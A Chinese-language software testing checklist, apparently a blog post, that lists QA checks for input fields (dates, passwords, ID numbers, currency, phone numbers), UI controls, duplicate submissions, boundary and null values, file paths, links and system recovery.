4.8 数据合法性测试

  数据合法性测试:测试人员除了要测试输入数据是否满足所使用数据库系统本身的数据类型和取值范围的要求外,还应该根据经验和软件系统和需求的特定要求检查输入数据的合法性。比如:日期合法性(出生年月、参保日期、发生时间、根据习惯和业务逻辑顺序对日期合理性的要求等)。工资、比例、率等,都要注意输入的合理、合法性。 

  

4

-----****界面上对象的功能(文本框,下拉框,按钮,热键等等)************------

a、工具条  1) 工具条能否正常显示/隐藏;  2) 工具条按钮在不可用时是否置灰,例如在不置灰情况下,重复点击工具条上的按钮,看系统是否能够正常进行操作;  3) 可移动工具条在窗口中间位置其形状是否正确;  4) 工具条船坞状与非船坞状时其上按钮是否相同;  5) 工具栏上工具按钮功能是否能正常实现;  6) 工具按钮显示是否正确、友好、醒目易懂;  7) 工具栏上的工具按钮是否有鼠标悬停提示;  8) 工具栏上的工具按钮是否可以任意定制。  b、下拉列表  1) 列表记录的每一行是否显示完整;  2) 列表记录不能在一页中显示时,是否有纵向滚动栏;  3) 列表滚动栏上滑块能否自由滑动,对应内容显示是否正确;  4) 列表中内容能否自动排序。  c、窗口  1) 打开的窗口不确认关掉,能否再调其它窗口,且连续开窗口系统能否正确处理;  2) 窗口尺寸变化时窗口中控件能否自适应;  3) MDI中,子窗口的平铺、重叠、排列图标功能是否正确;  4) 窗口的标题、图标是否和菜单命令、按钮一致;  5) 子窗口和主窗口的属性是否正确;  6) 窗口中的上下左右滚动条是否能达到预览全部界面的效果。  d、文本框  1) 对输入域的必添项处理是否正确;  2) 输入域是否有长度限制;  3) 输入域如对某些字符禁止输入时,限制是否成功;  4) 中文、英文、空格,数字,字符,下划线、单引号 等所有特殊字符的组合;  5) 口令域  口令为空格或包含空格、特殊字符(所有特殊字符的测试)时系统能否正常处理;  口令位数是否有限制;  口令与帐号相同,系统是否有提示;  口为字典单词系统能否正确处理;  特殊的对系统安全性要求较高应该注意:  口令应有最少位数限制;  口令应为数值、大小写字母、特殊字符的组合;  口令禁止设为空,不能和要被修改的口令一致;  口令区分大小写;  6) 时间域  年度超过4位;  月份输入0或大于12;  日期输入0或大于当前月份的天数;  年度,月份,日期输入负数;  时间输入大于或小于边缘值的数据;  进行字符及汉字的输入,看程序能否正确处理;  系统中所涉及时间是否取服务器时间;  有范围的输入域,开始时间大于、小于、等于结束时间,系统能否正确处理;  时间范围同当前时间的关系是否正确;  是否包含缺省时间且缺省时间意义是否正确;  系统对闰年,闰月的处理;  对不同的时间格式(yyyy-dd-mm,yy-dd-mm,yyyy/dd/mm,yy/dd/mm等)是否允许输入;  输入的时间在与之有关的模块中是否能正确的起到作用及对其他模块的影响;  对时间点的测试。  7) 货币域  输入负值、零、特大数、小数系统能否正确处理;  系统对小数点后数位的控制是否正确;  系统能否正确处理数值计算;  输入非数值型数据(包括特殊字符),系统能否正确处理;  系统能处理货币的种类。  8) 身份证(18或15位):  身份证中输入非法的年月日信息(包括超界数字及字符,汉字),程序能否进行检验并正确处理;  由身份证号码计算年龄,系统对出生年份末两位数是00的身份证号码能否正常处理;  在年龄和身份证均作为用户信息输入时,是否具有关联;  在身份证的输入中,是否允许输入字符”x”。  9) 电话号码  输入特殊的电话号码,如119,110,800等看程序是否能正确处理;  验证-,(,) * # 是否有真正含义;  电话号码长度是否有限制;  电话号码是否允许输入汉字,英文。  10) 关于时间的其它操作  时间的跨月份、年度操作;  12小时、24小时制的操作;  客户机与服务器时间不同的操作(包括客户机与服务器两地时差不同);  11) 数据字段一致性  不同窗口中同一类数据输入域的数据接口是否一致(如添加用户及用户登录窗口对用户标识和口令的长度是否一致)。  e、图表曲线  首先,在一定的时间段观察曲线走势,如果有类似的软件可对比的话可以进行对比大体趋势,然后,再找关键点,对比关键点的数据。测试中,需要找到曲线的计算公式,找关键点进行计算。(进行对比是必要的,第一,可以节省一些不必要的工作量;第二,也有可能是编码人员所用的公式本身就有问题,而你所有测试所做的计算都是徒劳了。)  f、列表  1) 列表记录不能在一页中显示时,是否有纵向滚动栏;记录长度超过列表宽度时,是否有横向滚动栏;  2) 列表滚动栏上滑块能否自由滑动,滑块滑动时,对应内容显示是否正确;  3) 列表内容是否可直接输入;  4) 列表中每列数据能否按升序、降序排列;

 

 

4.19 数字测试

ü   数字格式:

(1)如果对数字格式有限制则看是否符合限制

(2)格式没有限制时,所有输入数据的小数点位数应该一致

(3)修改统计数字时,输入小数数字,然后修改为整数,能否修改

(1) 数据调用:是否有错

(2) 数据格式:同一张表,数据格式不一致

(3) 数据单位:回收率等应该在后面有百分比单位

(4) 数量的大小:收队人数可以大于带出人数吗?

(1) 单位:输入数字的时候,输入的数字格式应该是一样的

  (1)如果对数字格式有限制则看是否符合限制

  (2)格式没有限制时,所有输入数据的小数点位数应该一致

焦点转移问题:

             (1)使用Tab 键测试焦点转移;

             (2)当保存时如果提示“有未输入的必填”项回到页面后,

             (3)焦点应转移到未输入的必填项中最靠前的一项上

(5)数据输入测试:向系统输入数据或输入数据库操作命令时,一般是测试系统对数据库中数据操作的过程。

(6)数据类型测试:由于不同的数据库系统对数据类型要求的不同,在定义数据库表时,也规定了数据字段的数据类型。

 

 

4.21 重复输入信息

1、多次,快速点击提交,信息重复(用户有时会因为网速慢,多次点击,此情况常发生)

     2、通过复制URL,同时打开两个相同页面,点击提交,信息重复(重要信息,用户恶意行为)

     3、提交后,在页面没有跳转的时候,进行刷新,信息重复

     4、如果提交后,有提示,重复提交的方法可以通过鼠标点击提交,手动敲击回车。

     5、涉及到权限和时间差导致的重复,常见情况是系统中有审核审批等情况,A用户提交信息,在B用户还没有点击审核的时候,A用户点击了修改按钮,B用户审核后,A用     户又一次提交。(此类情况发生过)

 

 

 

4.24 审批流程测试

ü   审批流程:审批意见时,则选择信息时,是否相应的信息?

 

4.25 边界值测试

ü   边界值测试:根据数据取值范围的要求,输入符合取值范围的数据、取值范围的上、下限和超过取值范围的数据。注意,除要测试数据库系统本身数据类型取值范围外,还要根据软件系统设计中的一些特定要求,设计测试用例来测试。

 

4.26 空值测试

空值测试:在测试数据录入或修改的功能界面时,若不输入任何东西,系统又没有设计成NOT NULL,则这时,要非常注意其影响。因为数据可以正常保存,但数据表该字段是空值,那么所有与该字段有关的操作,如:查询(AND)、计算(累加、连乘)等,则可能出现数据问题(计算结果为0,无记录返回)。对于测试人员首先要检查系统到底是作为空值,还是作为空串或空字符处理。另外对于允许不输入任何值的字段,在测试过程中,要检查是否在界面显示或打印报表时,这些字段作为了关键要素或标题等情况。

 

4.27 空格测试

空格:在数据维护的功能界面上,输入数据时,要注意是否在输入位置有空格,首先看系统设计时,是怎么考虑的,若系统允许输入空格,则检查条件查询或作为调用参数时的数据返回情况;另外检查程序是否使用了去掉空格的函数。

 

4.28 数据校验不一致测试

数据校验的不一致:测试时,对于一些编号、编码、代码等主键或作为查询或调用条件的字段,要注意系统对他们的输入合法性检查与查询或调用条件的要求是否是一致的。特别是对于数据结构设计中没有特定约束,而由程序进行校验控制的情况。

ü   条件值标题是否一致(文字测试)、精确、模糊、输入条件值(在选择单位中选择单位)、条件值是否一致?输入信息,自动筛选信息;

 

6.30 目录路径测试

目录路径测试:测试系统中规定的路径要求,更改路径,检查系统的是否可以正确运行及系统的排错功能。测试时,根据系统设计说明书(详细设计)或通过对程序源代码的熟悉,找出系统运行过程中指定的路径或在运行过程中,需要使用者选择路径的地方。特意更改路径(选择正确的路径、选择另外的路径、输入不存在的路径)。检查系统是否具有路径上的容错性和灵活性。比如,原则上在程序中,最好不要写绝对路径,另外可以提供配置路径的对话框,若输入了非法路径,系统有无提示等。

 

6.31 链接测试

ü   每一个页面链接应有对应的页面,并且页面之间切换应正确;

ü   测试是否有孤立页面

ü   测试该页面是否存在

 

 

6.33提示框测试

ü   提示:每做一个操作成功后,有无做出相应提示?

ü   提示框的内容是否正确?

 

6.34系统可恢复性检查测试

ü   系统可恢复性检查:以各种方式把系统搞瘫,测试系统是否可正常迅速恢复。

ü   确认提示检查:系统中的更新、删除操作,是否提示用户确认更新或删除,操作是否可以回退(即是否可以选择取消操作),提示信息是否准确。事前或事后提示,对于Update或Delete操作,要求进行事前提示。

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值